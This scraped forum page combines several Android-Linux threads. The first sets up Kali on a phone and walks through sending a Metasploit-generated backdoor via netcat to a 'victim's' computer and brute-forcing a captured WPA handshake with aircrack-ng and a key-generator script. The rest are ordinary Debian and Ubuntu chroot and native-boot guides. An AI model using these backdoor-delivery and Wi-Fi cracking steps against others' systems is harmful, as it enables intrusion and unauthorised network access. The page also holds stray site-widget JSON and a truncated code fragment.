Kali Linux on Android Phone with Metasploit, Aircrack ng, John, Tmux... - Android General

Hello everyone !
I was so glad to know the release of Nethunter 1.1 on offensive security, so I immediattely decided to tried it on my Nexus 4. But It didn't really work as Nexus 4 devices doesn't really support USB external devices :/ even if XDA devs did release a patch for this, it made WIFI disapear...
That's why I decided to use Linux Deploy in a new way : I thought this app was really limited, but finally I managed to get something really similar to a Nethunter device !
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
So here we are, and I'm gonna show you a few steps to install and configure kali linux with some tools !
1) Root your phone
2) Dowload Linux Deploy
3) Download the Kali image BUT :
The installator will automatically generate a 4Gb image in your internal memory - which is relally big - thats why you might have two solutions :
- Use an external sdcard but it would be a waste of memory
- BETTER SOLUTION : Tap on "Image size (MB)" and enter the amount of memory youwant to allocate. I suggest 2200 MB (2,2GB)
Then, go to "Compents to install, and UNCHECK EVERYTHING EXCEPT -> SSH SERVER.
Thanks to this, your linux image will occupate 2,2Gb with a lot of freespace in it, so we'll be able to download some utilities, without getting useless things such as a graphical desktop.
So just click install and wait a few minute for the installation to complete.
So what ?
In order to connect to your new kali environnement you will need an ssh client (for we've only selected the ssh server and no VNC)
So just install a ssh client or use a terminal emulator such as "Terminal IDE" (and not the Jack Palevitch's one whisch has no built in ssh and i really dont like his emulator)
I personally prefer use the ssh client : https://play.google.com/store/apps/details?id=com.anstudios.ssh
This one is light efficient and not intrusive.
You might also want to install the "Hacker's keyboard" or use the "Terminal IDE"'s one. You'll surely need it, as the arrows, esc and ctrl keys are really useful.
Then, launch your system via the "Launch" button. You should have an output like this one :
http://img.wonderhowto.com/img/original/21/16/63562179326178/0/635621793261782116.jpg
EXCEPT THAT : You've only installed the ssh client so you output should look like : SSH :22 ... done
VNC :5900 ... fail
Awesome.
Now just launch your ssh client :
The default credentials are "android" and "changeme". So infront of "ssh" just type :
[ssh] [email protected]
And when the system ask you for the password , type "changeme".
Just have fun !!
TIP : If the display is too small, just use the volume keys to fix it.
NOW : Some basic steps
1) Checkout the space available : df -h
2) Get root : su
3) Install all the packages you want.
/WARNING\ : Smartphones chipsets doen't allow injection or monitor mode even if a few guys managed to. But iys eally experimental. You can use an external wifi card and heres the tutorial to do it :
http://forum.xda-developers.com/goo...opment/guide-convert-phone-pwn-phone-t2852293
Some things to install to have fun :
- aircrack-ng to break a 4 way handshake (tutorial below)
- Metasploit to send your backdoors (tutorial below)
- Tmux because were limite to only one window (script below)
- GCC to compile
- Vim to edit
1) Get root
For those who have issues to get root just follow these step
sudo passwd root
type twice your password
2) Install the packages :
apt-get install aircrack-ng
apt-get install metasploit
apt-get install metasploit-framework
apt-get install tmux
apt-get install john
3) If you wish to install SET :
cd /opt
sudo apt-get install git
git clone https://github.com/trustedsec/social-engineer-toolkit/ set/
cd set/
python setup.py install
Have fun.
THE TUTORIAL PART
You have to consider the fact that you're running a chrooted environment.
So, in order to access to the internal sotrage, yo have to go into Linux Deploy options : Scroll down to "Custom Mounts" and enable it. Then tap on "Mount points" and enable all the path presented. It will allow you, once you've booted your linux img to access all of your phone's data
Now you might i communicate with a pc for example, get your handsake and crack it on your phone, or send a backdoor generated on your phone ?
Here's another solution :
NETCAT. On a linux or windows machine with netcat here's a little metasploit fun :
On your kali PHONE
msfvenom /your/payload/ OPTIONS -a YOUR_ARCH -e exe and some stuff here > mybackdoor
nc -w 3 IPADDRESS_OFDESTINATION < mybackoor
On your victims's computer :
nc -l -p 1234 > mybackdoor
And now, no mattter how you managed to transfer the backdoor -netcat / usb cable/ any other hack - , let's play :
Proof of concept ? Here's a Metasploit shell gained on a linux machine :
AND..... PWNDED !! (yeah that was quite simple...)
Metasploit3
And this Netcat trick works with ANY file.
For example : a captured handshake on a kali pc ! Tip : You can reduce it size with wpaclean :
wpaclean <out.cap> <in.cap>
How to crack the key ? Pipe Crunch into aircrack or john OR use this program if you want to generate HEXADECIMAL keys :
HexKeygenerator

fprintf(PF1,"\n");
}
fclose(PF1);
return 0;
}
To compile it :
gcc HexKeygnerator.c -o HexKeygnerator
Here's a first script to handle the crack : startup.sh
for i in `seq 1 1000000``
do
./HexKeygenerator 1000000 password$i.lst 5 # for a 10 char hexadecimal key
aircrack-ng /path/to/handshake -e ESSID -w password$i.lst -p #NBOF_CORES >> log.txt # IF YOU USE ALL CORES AVAILABLE YOUR PHONE WILL ALMOST FREEZE
rm password$i.lst
then
grep "KEY FOUND" log.txt > KEY_FOUND # On sauve la clé
grep "KEY FOUND" log.txt
grep "KEY FOUND" log.txt
fi
done
To have this run and be checked permanently in a TMUX session : Use this script and it ill automatically launch the previos script (save both in the same directory)
SESSION=$USER
tmux split-window -h
tmux select-pane -t 0
tmux send-keys "sh ./startup.sh" C-m
tmux select-pane -t 1
tmux send-keys "Watch -n 30 grep KEY log.txt" C-m
tmux split-window -v
tmux send-keys "Watch -n 30 tail log.txt" C-m # to check the cracking's speed
tmux select-window -t $SESSION:1
tmux -2 attach-session -t $SESSION
Screenshot ? :
And here it is. This is only the beginning ! thaths why i thing linux deploy is better and more modulable than nethunter.
Have fun !!!

No one has asked, but have you install busy box and did you check the box to have ssh server start? Have you tried logging in with ssh to "localhost" or 127.0.0.1 on port 22?

[HOW TO] Install Debian with GUI on any G1 (Any ROM!) ☻☻☻

Okay installing Debian on G1 was a pain in the ass when people make auto installers and never update them -_- I had so much problem trying to use the bootdeb script so heres a manual way to do it and should take like 10 minutes and when done, like 3minutes to start it up.
Feel free to PM me if you get stuck!
What you need:
A Debian Image (debian.img)
Get it here.
ext2.ko
Get it here. If dead, from this page.
unionfs.ko
Get it here. If dead, from this page.
busybox
Get it here. If dead, from this page.
Android Apps you'll need:
Terminal Emulator (Get the free one, even if you have a terminal app!)
VNC Viewer (Free or Paid, anything should work)
Initial Setup
Stuff you need to put in SD card and where.
Put all the files (debian.img, ext2.ko, unionfs.ko & busybox) in one folder named kit and put kit in the root of your SD Card.
Before we start please note this may look looong but Part 1 takes like 10 minutes and Part 2 like 5 mins. So try it out, its worth it!
​Part 1
We will install the base system in this part.
Please Note
You can run the commands below on your computer via ADB Shell but you may have trouble doing Part 2 on your computer. If you understand what you do in Part 1 you may proceed in ADB Shell.​

Step One
Open Terminal paste these in order:
Code:
export kit=/sdcard/kit
Press Enter​
Code:
export bin=/data/local/bin
Press Enter​
Code:
export mnt=/data/local/mnt
Press Enter​
Code:
export PATH=$bin:/usr/bin:/usr/sbin:/bin:$PATH
Press Enter​
Code:
export TERM=linux
Press Enter​
Code:
export HOME=/root
Press Enter​
Code:
insmod $kit/ext2.ko
If this gives you a error, ignore it!
Press Enter​
Code:
mkdir $bin #-p
Press Enter​
Code:
cat $kit/busybox >$bin/busybox
Press Enter​
Code:
chmod 755 $bin/busybox
Press Enter​
Code:
alias _=busybox
Press Enter​
Code:
_ mknod /dev/loop0 b 7 0
Press Enter​
Code:
_ mkdir -p $mnt
Press Enter​
Code:
echo 'nameserver 4.2.2.2' >$mnt/etc/resolv.conf
Press Enter​
Code:
_ chroot $mnt /bin/bash
Part 1 Done​
It shoud now say #localhost: || If not then something went wrong...
Part 2
Installing the GUI.
In your Debian Shell (#localhost) type this:
Code:
cd /etc/apt
Press Enter​
Code:
nano sources.list
Press Enter​Now add these two lines below the 1st source:
deb-src ftp://ftp.uk.debian.org/debian/ lenny main contrib non-free
deb ftp://ftp.uk.debian.org/debian/ lenny main contrib non-free

Hit Trackball+O to save and then Trackball+X to exit.
Now type:
Code:
apt-get install tightvncserver
After its done type:
Code:
apt-get install icewm
After its done type:
Code:
export USER=root
After its done type:
Code:
vncserver -geometry 480x320
You will be asked to setup the VNC Password after this. Set it and remember it!
Now type:
Code:
cd /root
then
Code:
cd .vnc
then
Code:
nano xstartup
Now edit out the file to look like this:
{
"lightbox_close": "Close",
"lightbox_next": "Next",
"lightbox_previous": "Previous",
"lightbox_error": "The requested content cannot be loaded. Please try again later.",
"lightbox_start_slideshow": "Start slideshow",
"lightbox_stop_slideshow": "Stop slideshow",
"lightbox_full_screen": "Full screen",
"lightbox_thumbnails": "Thumbnails",
"lightbox_download": "Download",
"lightbox_share": "Share",
"lightbox_zoom": "Zoom",
"lightbox_new_window": "New window",
"lightbox_toggle_sidebar": "Toggle sidebar"
}
Hit Trackball+O and Trackball+X to exit
Now type:
Code:
cd /root
then
Code:
nano .bashrc
And add these lines to it:
Code:
export USER=root
cd /
rm -r -f tmp
mkdir tmp
cd /
vncserver -geometry 480x320
It should look like this:
Now go to Terminal Setting and type this in the Initial Command:
Code:
su
export kit=/sdcard/kit
export bin=/data/local/bin
export mnt=/data/local/mnt
export PATH=$bin:/usr/bin:/usr/sbin:/bin:$PATH
export TERM=linux
export HOME=/root
alias _=busybox
_ mknod /dev/loop0 b 7 0
_ mount -o loop $kit/debian.img $mnt
_ chroot $mnt /bin/bash
mount -t devpts devpts /dev/pts
mount -t proc proc /proc
mount -t sysfs sysfs /sys
Heres a screenshot:
We use this to save time and boot Debian swiftly!
Now reboot the phone!
After its rebooted, just open Terminal and let it do its thing. If it did it right you should see the Debian Shell launched...
Part 3
Playing around in the GUI!
Go to androidVNC (or any VNC client you have)
Enter the floowing details:
Address: localhost
Port: 5901
Password: the one you set while setting up tightvncserver...
Press connect!
Troubleshoot
If you get a blank window and a X on VNC Connection, goto terminal emulator>settings>reset term. And then reopen terminal. Now goto your VNC Viewer and change the port to 5902 and hit connect!
You should now be in the GUI!! Video of the whole thing coming up soon!​
Stuff you may wanna note!
You may not be able to mount your SD Card while Debian is running so you have to restart your phone to mount your SD Card!
Every time you wanna boot debian just open terminal Emulator and install it as a Debian Boot App or something!
There are a few flaws and I am a design guy and not a coder, if you find something wrong or wanna revise anything PM me or reply. I know its not perfect!
Nothing was done by me I just copyed and pasted stuff from sources. Special Thanks to Jay Freeman (saurik) for coming up with Part 1 and dangermouse over at AndroidFanatic for coming up with Part 2!​
Nice! I'm so excited to see that.
if you are trying this reply! I wanna know how it goes!
its the same thing i did months ago! it works fine but too slow :/ on g1

This does not replace Android. This also gives you access to the full plethora of programs available in Debian and let's you continue using your phone as it was intended to be: as an Android device with all the capabilities thereof.
Please note that this is not a "port": Debian already supports ARM EABI, which is the underlying architecture of Android.

[DEV] Chroot Ubuntu

here you go chroot ubuntu
So you have a working rootfile system like hd2
put the root file system on sdcard location /sdcard/ubuntu
place the two files in /sdcard/ubuntu
(run as root ) just install with -> sh install.sh And READ
installing vnc
in ubuntu linux terminal ->
export USER=root
vncserver -geometry 1024×750
nano /root/.bashrc
Add this to the beginning
###########################
export USER=root
cd /
rm -r -f tmp
mkdir tmp
cd /
vncserver -geometry 1280×750
########################### ctrl+x to save
Thanks to,

chroot $mnt /bin/bash #### finally lets chroot the dir and init /bin/bash meaning lets start a vm on that dir
and thats all to chrooting
ok this is pure awesome but...it would mean running 2 OS's just like the old day of running multiple os types off my old winmo phone...right?
Wow, great work! Wish the xda app had a thanks button

"So you have a working rootfile system like hd2

Would anyone mind explaining that beginning part? Seems like I have the folder on my SD card and the 2 files but I am missing the "working rootfile system like hd2". Does this mean i need to make an image of an already running root file system.
My apologies in advance if I am asking a noob question.
i dont understand what is hd2
So you have a working rootfile system like hd2
What is HD2 ? And do we put the two files on the Removable ( REAL SD CARD ) or the Asus Transformer ?

OMG , you only have two files !!! please read OP
Alright, to you guys who don't understand (and I agree, the first post was a bit hard to understand), you need a few components first:
OP's uploaded zip containing 2 files (scripts that kinda do all the hard stuff for you):
- ubuntu
- install.sh
and
a root filesystem
The root filesystem is kinda like an image of Ubuntu and the kernel that had been ported to ARM by wizards, or something like that (correct me if I'm wrong please).
I'm pretty sure OP wants us to use an Ubuntu root filesystem for the HTC HD2, found here:
http://forum.xda-developers.com/showthread.php?t=889433
(the torrent was fairly speedy)
Anyway, I just got this working with aligatro2010's link which takes us to a guide for getting this chrooting business happening on a Nexus One. But don't panic! The guide works for our Transformer too. So yeah, follow this if you want to get it up and running this way.
But at the line that tells you to type:
vncserver -geometry 1024×800
Change the resolution to 1280x750. Thanks to aligatro2010 for correcting my resolution.
Anyway, I'm going to try and get this working with the HD2 root filesystem as OP said, and will report back my success in a while.
(Seriously the coolest thing I've found yet with my TF... I never thought you could do this... thanks OP!!!)

1280x750 is the resolution I use.
working
Alright, confirmed to have this fully working via OP's method. Details follow:
Get HD2 root filesystem:
http://forum.xda-developers.com/showthread.php?t=889433
Download the link (torrent is fast). Extract it and find rootfs.ext2 in the linux folder. Copy that onto your TF and place it in the /sdcard/ubuntu/ directory (it's around 3GB).
Get OP's scripts:
Download from the link in the first post. Extract the zip and move the 2 files to the /sdcard/ubuntu/ directory on your TF.
Alright, now we got what we want.
Go into terminal emulator on your TF (any should hopefully work... I used BTE Pro).
Type the following:
Code:
su
Gives you root privileges... note: I'm not sure if this is needed... not too familiar with Android.
Code:
cd /sdcard/ubuntu/
sh ubuntu
You should now be "chrooted" into the Ubuntu environment. That is, you've changed the root to the Ubuntu root filesystem (don't worry if you don't understand this). It should look a bit like this:
Code:
[email protected]:/#
Now to get up the VNC server so we can view a GUI (make sure you have internet connection at this step!!! We're just going to update package list and install a very small app):
Code:
apt-get update
apt-get install tightvncserver
Now you've got your vnc app installed in Ubuntu.
Now to set it up for use:
Code:
export USER=root
vncserver -geometry 1280x750
Yep! That's all set up... but yeah, nothing's happening just yet.
If you haven't already got a VNC client installed on your TF (note Android NOT Ubuntu), go here:
http://code.google.com/p/android-vnc-viewer/downloads/list
and get the latest one and install it on your device.
Now go into the app and put a Nickname ("ubuntu" might be wise), your Password (if you made one), leave Address empty, and make Port 5901.
If you want it to look nice, change Color Format to 24-bit color (4 bpp).
Now press connect and you should be in your chrooted fully-functional Ubuntu.
Oh yeah, if you want to automate this whole process so you don't have to do it everytime you reboot your TF or whatever, follow the instructions in OP about editing /root/.bashrc file. This file basically runs everytime the root user logs in... ie. everytime you start your chrooted Ubuntu. So it will do all this automatically, everytime you start (type sh ubuntu in terminal).
Did I miss anything else?
Please note:
Jhinta is the brains behind this (and those HD2 guys who managed to port Ubuntu to ARM). If you get this working properly give some thanks to him. He's the one who wrote the scripts to do this all for you (those 2 files in the /sdcard/ubuntu/ directory). I'm just trying to make it a bit easier to understand for "non-linux nerds" and to help walk you through this. Because, really, it's pretty damn cool Even if you're not familiar with Linux or Ubuntu, try it out... you might just learn something!

fist thing thnx for the addon info .
but its not a port ubuntu is arm ,it was nerver ported its just a arm ubuntu build and will work on any arm cpu, chroot like this is just adapt to be able to do it .
there is realy nothing special about it , but native well , uuu in time soon i think

ohh! So in time we might see a nvflash version of Ubuntu that can completely replace Android? Maybe even a full package that can dual boot Ubuntu/Android natively?
Very exciting stuff, but I'm at the mercy of more intelligent devs around here. Good luck guys!

means thats i cant mount the rootfs .
Device or resource busy -> the loop dev that we create i think it was /dev/block/loop2 is busy whit your device , you can edit the script and try any other loopX 123456 .
recommanded is to try to do the command 1 by one in adb shell or terminal

Its hard to write a guide without being able to post links.
You need to first be able to chroot into ubuntu and create a vnc server. Then recompile the kernel for binfmt support.
Then create slackware 10.2 on vmware and install wine and qemu.. run wine and qemu. like wine notepad.exe so it creates /root/.wine. Create an image file out of that and copy that to your phones sdcard.
mount both of the ubuntu and slackware images.
mount -t binfmt_misc none /proc/sys/fs/binfmt_misc
echo ":qemu-i386:M::\x7fELF\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x03\x00:\xff\xff\xff\xff\xff\xfe\xfe\xff\xff\xff\xff\xff\xff\xff\xff\xff\xfb\xff\xff\xff:/usr/bin/qemu-i386:" > /proc/sys/fs/binfmt_misc/register
then run vncserver
export DISPLAY=0:1
my ubuntu is / in a chrooted enviroment from /data/local/ubuntu
my slackware.img is mounted /chroot (if inside chroot) or /data/local/ubuntu/chroot (if not inside chroot)
I copied /chroot/usr/gnemul/qemu-i386/* to /usr/gnemul/qemu-i386
COPY THE X86 stuff inthe the /usr/gnemul/qemu-i386/lib and usr folders. qemu will look for these x86 libraries when the x86 binaries ask for them. IMPORTANT.
copy /chroot/usr/lib/wine to /usr/lib/wine
copy the /chroot/root/.wine to /root/.wine the best you can and setup dosdevices with ln -s
put sol.exe in /root/.wine/dosdevices/c:/windows
then it should work =)
/chroot/usr/bin/wine-pthread sol.exe
I can put all this in a torrent if anyone is interested. I need to add I got qemu-i386 that was already compiled and stuck it in /usr/bin and /chroot/usr/bin though I decided not to try to chroot into my x86 image.
which would be like chroot /chroot
I might be able to not use /chroot and just copy install the x86 version of wine.deb on arm and force the architecture and let binfmt take care of the ELF.
Here is a torrent that has the ubuntu.img and all the other files.
------------------------
http://thepiratebay.org/torrent/6670616
terminal
cd /sdcard/ubuntu
sh ubuntu.sh
bootubuntu
that will get you into ubuntu.. if your kernel does not support binfmt then:
startui (starts vncserver)
/usr/bin/qemu-i386 /usr/bin/wineserver
/usr/bin/qemu-i386 /usr/bin/wine-pthread sol.exe
If it does then
startui
wine-pthread sol.exe
This sounds awesome, I gotta try it out.
I will help as much as I can. I cant post links. Soon as I can I will be a much bigger help. But I am SOOOO HAPPPY! I think we might be able to get this working without recompiling the kernel too. I will try that.
'Running native i386 linux binaries' is one thread in a forum I have been following. First you need ubuntu on android so google 'how to install ubuntu on android' which you will need a kernel that supports loop.
You can check how your kernel's .config by doing.
zcat /proc/config.gz > /sdcard/.config
I had to recompile for loop and binfmt for my droid 1 and cyanogenmod7.
I imagine this runs applications that depend on wine slower than an old vw diesel beetle trying to get on the freeway?

It's one thing to show it's possible, but I personally wouldn't go through and do it without knowing how slow it's going to (predictably) run.
Could you please shed some light on the performance (or lack thereof) you have experienced so far?

Its okay.. I have my phone at 500Mhz (not overclocked). all I have ran so far is solitaire.. and I am about to turn on swap. But it takes a bit to load. Its slow too load, once its loaded its fast.
Its for fun.
Okay you do need binfmt_misc in the kernel. NOT TRUE
I have everything down to ubuntu.img.. no slackware.img is needed.
I need to rewrite the guide to make it easier, and maybe post my ubuntu.img for some folks.
Thanks for your reply. I've thought about doing it before, but I ruled it out because I thought it would be too slow, but your results seem like it's promising enough to try out at least for fun
Thanks!
I think it will let you fake post links if you exclude the "http://" part of it if you need to do so.

I don't think it's possible to know unless you try it
binfmt_misc is not required in the kernel. You have to run wineserver first, make sure its running in memory with ps.. Then you can run wine-pthread.

If it does then

[GUIDE] Native Debian on Samsung Galaxy i7500

Hello fellow phone enthusiasts,
there are some sources on the internet describing how to run Debian on the Samsung Galaxy i7500 (Samsung's first Android device). Unfortunately, none of these sources can act as a complete guide, so I thought I could try to fill this void. This guide is far from complete and will hopefully grow over time. Anyway, I hope this is helpful for some people that are trying to do the same.
Note that this post should have gone into the development section, but I'm not senior enough to post there. Also the URLs in this guide are messed up for the same reason. Each messed up URL is marked with "(FIX this url)". I will fix these things as soon as possible, if there is any interest in this guide.
Best regards,
Frank
0. WARNING
This guide is for experienced users only. You might brick your phone while following this guide. I will not take responsibilty for any harm that may happen to you, your phone or those around you when following this guide. Please read and understand the complete guide before doing the first step. You have been warned.
Make a nandroid backup (can be done in the recovery image). Really, do it. Even if you think there's no valuable data, you must do a nandroid backub, because you will need to have the boot.img to boot back into android after debian has been installed. You must also copy your nandroid backup onto your PC.
1. Credits
A few years ago, there has been quite an active development community for the Galaxy i7500. Unfortunately, these forums have now pretty much died and I was not an active member of that community, because I was using it as my primary device back then and had no interest in hacking it.
Anyway, a HUGE THANK YOU goes to the fine fellas from drakaz.com and the GAOSP. You guys are awesome!
The actual hard technical work for this guide has been done by the authors of the following guides. I'm simply trying to understand what they did and write a step-by-step guide using their expertise:
(FIX this url)https :// code . google . com/p/linux-on-android/wiki/BasicSteps
(FIX this url)https :// wiki . debian . org/ChrootOnAndroid
(FIX this url)http :// www . bananenfisch . net/?p=1056
(FIX this url)https :// sven . killig . de/android/console.html
2. Overview
The goal of this guide is to have a running Debian Squeeze (Debian 6) running natively on a Samsung Galaxy i7500. Debian will not be run in a chroot environment on top of android, but instead the phone will directly boot into debian when powering it on. Debian will be installed on a SD card, so that we could still boot into Android, should we really mess things up at some point. It will not be true dual boot though (i.e. you have to reflash the boot section from a PC to boot into Android).
2.1 Primary goals
In the end, I'd like have the following functionality:
WLAN
Bluetooth
X Window / Graphical User Interface
All this is possible with below description now.
But this means we will loose the ability to make phone calls, send text messages, use GPS, connect to the internet through 3G or anything else you would normally expect from a smartphone. It's very likely possible to also have this functionality included, but I simply don't need it for my project. If someone else is willing to investigate this, I would be interested in the results though.
2.2 Prerequisites
Things you'll need include:
good Linux knowlegde
1 rooted Samsung Galaxy i7500 (I recommend to flash GAOSP)
1 micro SD card (I'm using an 8 GiB class 4 card)
1 computer running Linux with the following software installed (I'm using Debian & Fedora, but any distribution that has debootstrap should work)
debootstrap
git
fastboot (I suggest to use the version that comes with your distro, but you can also try the one from the Android SDK)
GCC cross-compiler for ARM in order to compile the kernel (Debian and Fedora come with compiler versions, that didn't work for me, so I'm using version 7 of the Android NDK, i. e. GCC version 4.4.3)
3. Installing Debian
Note that I had already GAOSP2 beta 3 installed on the i7500. I don't know if any of these steps are possible without installing GAOSP first.
3.1 Prepare partitions on SD card
The Samsung Galaxy i7500 has an "internal SD card" which will be preserved for use with Android, the recovery image, a.s.o. The external SD card will be used for debian. ALL data on the external card will be lost after below steps.
Put the SD card into an SD card reader or boot the i7500 into recovery mode (press "vol-" and "call" buttons when switching on the phone). Note that using GAOSP directly didn't work for me, because for some reason only the first partition was shown on the PC.
Code:
cfdisk /dev/sdX
(replace X with the correct letter for your SD card, and then create the one big enough partition for your needs, I created one 4GiB primary partition leaving me 4GiB for playing around later)
Code:
sudo mke2fs /dev/sdX1
3.2 Build debian filesystem structure
Create a directory for the newly created debian partition (I assume it' s called "debian") and run the following commands
Code:
sudo mount /dev/sdX1 ./debian/
Code:
sudo debootstrap --verbose --arch armel --foreign squeeze ./debian/ (FIX this url) http :// ftp . de . debian . org/debian
Code:
sudo umount ./debian/
3.3 Finalize the debian installation
The following is based on the steps as described here (FIX this url) wiki. debian.org/ChrootOnAndroid and www . bananenfisch .net/?p=1056.
Boot phone into GAOSP
Open terminal
Code:
su
Code:
cd /data/local
Code:
mkdir debian
Code:
mount /dev/block/mmcblk1p1 /data/local/debian
Finalize bootstrap:
Code:
chroot /data/local/debian /debootstrap/debootstrap --second-stage
Mount special file systems and chroot into Debian:
Code:
for f in dev dev/pts proc sys ; do mount -o bind /$f /data/local/debian /$f ; done
Code:
chroot /data/local/debian /bin/bash
Finalise the installation:
Code:
echo "deb (FIX this url) http :// ftp . de . debian . org/debian/ squeeze main non-free contrib" > /etc/apt/sources.list
Code:
apt-get update
Code:
rm -f /etc/mtab
Code:
ln -s /proc/mounts /etc/mtab
Code:
passwd root
Code:
echo i7500 > /etc/hostname
Code:
apt-get install openssh-server
Code:
apt-get clean && apt-get autoclean
The ssh-sever can be started whenever you like through
Code:
/etc/init.d/ssh start
Afterwards you can log in from your PC using "ssh [email protected]" into the chroot environment.
3.4 Configure locale
We need to set the locale for the system (otherwise there will always be warning messages, e.g. when installing new software):
Code:
apt-get install locales console-data keyboard-configuration
You might want to tweak a few more settings (especially if your locale is not en_US). You can use:
Code:
echo export LANG=en_US.UTF-8 >> /root/.bashrc
Code:
export LC_ALL="en_US.utf8"
Code:
dpkg-reconfigure locales
Code:
dpkg-reconfigure console-data
Code:
dpkg-reconfigure keyboard-configuration
3.5 Installing additional software
You can now start installing additional software that you might need (I suggest you log into your phone through ssh as described above). You'll be needing an editor to edit configuration files (I choose vim). For setting up WiFi the package "wpasupplicant" is needed.
Code:
apt-get install vim less wpasupplicant
3.6 Chroot into debian
If you at a later time want to chroot into your debian environment, I recommend to store the following commands in a shell script (I stored it in /data/local/debian.sh) which you can then run as root.
Code:
#!/bin/sh
mount /dev/block/mmcblk1p1 /data/local/debian
for f in dev dev/pts proc sys ; do mount -o bind /$f /data/local/debian/$f ; done
chroot /data/local/debian /bin/bash
4. Create boot image
4.1 Build kernel
Perform the following steps on your PC:
Download the Galaxo kernel sources: git clone (FIX this url) https :// github . com/drakaz/GalaxoKernel.git
Apply the patch described on (FIX this url) https :// code . google . com/p/linux-on-android/wiki/BasicSteps (themddi_toshiba_smd.c patch doesn't work, do the change manually)
Apply patch as described here: (FIX this url) http :// sven . killig . de/android/console.html
copy attached config.txt file to .config
I will eventually create a branch on github containing the patches and default config. But for now, you'll have to do the patching yourself.
Code:
make ARCH=arm CROSS_COMPILE=/path/to/android-ndk-r7/toolchains/arm-linux-androideabi-4.4.3/prebuilt/linux-x86/bin/arm-linux-androideabi- oldconfig
Code:
make ARCH=arm CROSS_COMPILE=/path/to/android-ndk-r7/toolchains/arm-linux-androideabi-4.4.3/prebuilt/linux-x86/bin/arm-linux-androideabi-
Code:
make ARCH=arm CROSS_COMPILE=/path/to/android/android-ndk-r7/toolchains/arm-linux-androideabi-4.4.3/prebuilt/linux-x86/bin/arm-linux-androideabi- modules
4.2 Install modules
The modules need to be installed on the SD card partition, so you need to boot your phone into recovery and mount the SD card. Then execute the following command.
Code:
sudo make ARCH=arm CROSS_COMPILE=/path/to/android-ndk-r7/toolchains/arm-linux-androideabi-4.4.3/prebuilt/linux-x86/bin/arm-linux-androideabi- INSTALL_MOD_PATH=/path/to/sdcard modules_install
In order for the WLAN kernel module to work the following files need to be copied from the GAOSP ROM to the /etc/ folder on the phone:
rtecdc.bin
nvram.txt
4.3 Minimal boot file system
A boot file system (a.k.a. initramfs) is needed to start the debian boot process. Create a folder called minimal_initramfs with the follwoing content:
Code:
minimal_initramfs/
|-- dev/
|-- init*
|-- mnt/
| `-- root/
|-- proc/
|-- sbin/
| `-- busybox*
`-- sys/
A binary of busybox can be downloaded from the busybox website (use busybox-armv4tl). The file "init" is actually a shell script with the following content:
Code:
#!/sbin/busybox sh
# initramfs pre-boot init script
# Something (what?) needs a few cycles here
/sbin/busybox sleep 1
# Populate /dev
/sbin/busybox mknod /dev/mmcblk1p1 b 179 9
# Mount the root filesystem, second partition on micro SDcard
/sbin/busybox mount -t ext2 -o noatime,nodiratime /dev/mmcblk1p1 /mnt/root
# Transfer root to SDcard
exec /sbin/busybox switch_root /mnt/root /sbin/init
The directory structure must then be compressed. To do this run the following sequence of commands when in the minimal_initramfs directory:
Code:
find . | cpio --quiet -H newc -o | gzip > ../minimal.cpio.gz
4.4 Creating the image
For creating the image you need the tool mkbootimg which you can find in android_bootimg_tools.tar.gz. Run the following command to create the boot image from the initramfs and the kernel you created above:
Code:
./mkbootimg --kernel /path/to/Galaxo-kernel/arch/arm/boot/zImage --ramdisk /path/to/minimal.cpio.gz --cmdline "fbcon=font:VGA8x8" --pagesize 2048 --base 10000000 -o debian_boot.img
5. Configuring network
5.1 Setting up the interface
Your /etc/network/interfaces file on the phone should look like this:
Code:
# Used by ifup(8) and ifdown(8). See the interfaces(5) manpage or
# /usr/share/doc/ifupdown/examples for more information.
auto lo
iface lo inet loopback
auto eth0
allow-hotplug eth0
iface eth0 inet dhcp
wpa-driver wext
wpa-conf /etc/wpa_supplicant.conf
5.2 Setting up wireless encryption
For network configuration we'll be using wpa_supplicant which we already installed in one of the above steps. On the phone create the file /etc/wpa_supplicant.conf with the following content. Please enter the correct values for ssid, psk and key_mgmt for your network:
Code:
network={
ssid="YourSSID"
psk="YourSecretPassword"
key_mgmt=WPA-PSK
priority=11
}
5.3 Loading drivers
In order for the WLAN kernel module to be loaded add the following line to /etc/modules:
Code:
bcm4325 firmware_path=/etc/rtecdc.bin nvram_path=/etc/nvram.txt
6. Flashing the boot image and booting into Debian
Now it's finally time to finally flash the previously created boot image. At this time, be sure that you only have your Galaxy connected to your PC. Otherwise you might brick any other connected phone. On the PC run
Code:
sudo fastboot flash boot debian_boot.img
Then boot the Galaxy into fastboot mode by pressing "call" when powering on the phone.
When the process is finished the phone will boot into Debian and automatically connect to your wireless network (if the set-up was correct). You can now connect to the phone through ssh and enjoy your new pocket server.
If you may ever want to boot into android again, you just need to flash the original boot.img that you created with nandroid:
Code:
sudo fastboot flash boot boot.img
7. Bluetooth
7.1 Compile brcm_patchram_plus
For getting bluetooth operational it is necessary to use Broadcom's brcm_patchram_plus software. As it is not available as a Debian Squeeze package, we need to compile it ourselves. So we need to install the following packages on the phone:
Code:
apt-get install git gcc make libbluetooth-dev
Then it's possible to download the sources:
Code:
git clone (FIX this url)https :// github . com / MarkMendelsohn / brcm_patchram.git
And compile the tool using:
Code:
make
7.2 Activating bluetooth
In order for bluetooth to work the following files need to be copied from the GAOSP ROM to the same folder on the phone that you compiled the brcm_patchram_plus in:
BCM4325D1_004.002.004.0153.0156.hcd
After that it's possible to execute the followig commands:
Code:
echo 0 > /sys/class/rfkill/rfkill0/state
echo 1 > /sys/class/rfkill/rfkill0/state
./brcm_patchram_plus -d --enable_hci --baudrate 3000000 --use_baudrate_for_download --patchram BCM4325D1_004.002.004.0153.0156.hcd /dev/ttyHS0
The last command will never terminate and you will get a lot of output due to the (-d) switch. After starting a new console, you will be able to scan for bluetooth devices using:
Code:
hcitool -i hci0 scan
7.3 Connecting a keyboard
I'm using a Rapoo E6100 keyboard and the following procedure worked fine for me. It should be similar with other keyboards.
Code:
apt-get install python-bluez python-gobject python-dbus bluez-compat
Code:
cd /usr/share/doc/bluez/examples
Press pairing button on keyboard then
Code:
./simple-agent hci0 6C:xx:xx:xx:xx:xx
(use the bluetooth address of your keyboard, according to the scan in the previous chapter)
